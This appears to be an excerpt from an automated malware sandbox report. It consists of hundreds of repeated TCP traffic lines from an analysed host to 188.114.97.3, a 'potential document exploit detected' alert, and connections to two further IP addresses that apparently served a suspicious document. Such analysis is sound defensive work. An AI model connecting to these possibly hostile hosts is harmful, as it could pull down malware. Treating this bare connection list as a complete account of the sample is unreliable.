Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 54.241.153.192:80
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 54.241.153.192:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 54.241.153.192:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 198.46.177.156:80
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 198.46.177.156:80 -> 192.168.2.22:49162
